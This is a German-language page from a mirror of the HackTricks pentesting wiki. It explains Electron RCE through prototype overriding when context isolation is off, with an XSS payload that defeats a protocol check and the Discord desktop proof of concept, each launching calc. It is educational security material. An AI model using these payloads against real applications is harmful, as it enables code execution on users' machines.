mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 00:20:59 +00:00
106 lines
6 KiB
Markdown
106 lines
6 KiB
Markdown
# Electron contextIsolation RCE via preload code
|
|
|
|
{% hint style="success" %}
|
|
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Unterstütze HackTricks</summary>
|
|
|
|
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
|
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Beispiel 1
|
|
|
|
Beispiel von [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
|
|
|
|
Dieser Code öffnet http(s) Links mit dem Standardbrowser:
|
|
|
|
![](<../../../.gitbook/assets/image (768).png>)
|
|
|
|
Etwas wie `file:///C:/Windows/systemd32/calc.exe` könnte verwendet werden, um einen Rechner auszuführen, das `SAFE_PROTOCOLS.indexOf` verhindert dies.
|
|
|
|
Daher könnte ein Angreifer diesen JS-Code über XSS oder beliebige Seitennavigation injizieren:
|
|
```html
|
|
<script>
|
|
Array.prototype.indexOf = function(){
|
|
return 1337;
|
|
}
|
|
</script>
|
|
```
|
|
Da der Aufruf von `SAFE_PROTOCOLS.indexOf` immer 1337 zurückgibt, kann der Angreifer den Schutz umgehen und den calc ausführen. Finaler Exploit:
|
|
```html
|
|
<script>
|
|
Array.prototype.indexOf = function(){
|
|
return 1337;
|
|
}
|
|
</script>
|
|
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
|
|
```
|
|
Überprüfen Sie die ursprünglichen Folien auf andere Möglichkeiten, Programme auszuführen, ohne dass eine Eingabeaufforderung nach Berechtigungen fragt.
|
|
|
|
Offensichtlich gibt es eine weitere Möglichkeit, Code zu laden und auszuführen, indem man auf etwas wie `file://127.0.0.1/electron/rce.jar` zugreift.
|
|
|
|
## Beispiel 2: Discord App RCE
|
|
|
|
Beispiel von [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
|
|
|
|
Bei der Überprüfung der Preload-Skripte stellte ich fest, dass Discord die Funktion exponiert, die es ermöglicht, einige erlaubte Module über `DiscordNative.nativeModules.requireModule('MODULE-NAME')` in die Webseite aufzurufen.\
|
|
Hier konnte ich keine Module verwenden, die direkt für RCE verwendet werden können, wie das _child\_process_ Modul, aber ich **fand einen Code, bei dem RCE erreicht werden kann, indem die eingebauten JavaScript-Methoden überschrieben werden** und die Ausführung des exponierten Moduls gestört wird.
|
|
|
|
Das Folgende ist der PoC. Ich konnte bestätigen, dass die **calc**-Anwendung **aufpoppt**, wenn ich die **`getGPUDriverVersions`-Funktion** aufrufe, die im Modul "_discord\_utils_" aus den DevTools definiert ist, während ich **`RegExp.prototype.test` und `Array.prototype.join` überschreibe**.
|
|
```javascript
|
|
RegExp.prototype.test=function(){
|
|
return false;
|
|
}
|
|
Array.prototype.join=function(){
|
|
return "calc";
|
|
}
|
|
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
|
|
```
|
|
Die `getGPUDriverVersions`-Funktion versucht, das Programm mit der "_execa_"-Bibliothek auszuführen, wie folgt:
|
|
```javascript
|
|
module.exports.getGPUDriverVersions = async () => {
|
|
if (process.platform !== 'win32') {
|
|
return {};
|
|
}
|
|
|
|
const result = {};
|
|
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
|
|
|
|
try {
|
|
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
|
|
} catch (e) {
|
|
result.nvidia = {error: e.toString()};
|
|
}
|
|
|
|
return result;
|
|
};
|
|
```
|
|
Normalerweise versucht _execa_, "_nvidia-smi.exe_" auszuführen, das in der `nvidiaSmiPath`-Variablen angegeben ist. Aufgrund der überschriebenen `RegExp.prototype.test` und `Array.prototype.join` **wird das Argument jedoch in der internen Verarbeitung von \_execa**\_** durch "**_**calc**_**" ersetzt**.
|
|
|
|
Konkret wird das Argument durch die Änderung der folgenden zwei Teile ersetzt.
|
|
|
|
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
|
|
|
|
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
|
|
|
|
{% hint style="success" %}
|
|
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Unterstütze HackTricks</summary>
|
|
|
|
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
|
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
|
|
|
</details>
|
|
{% endhint %}
|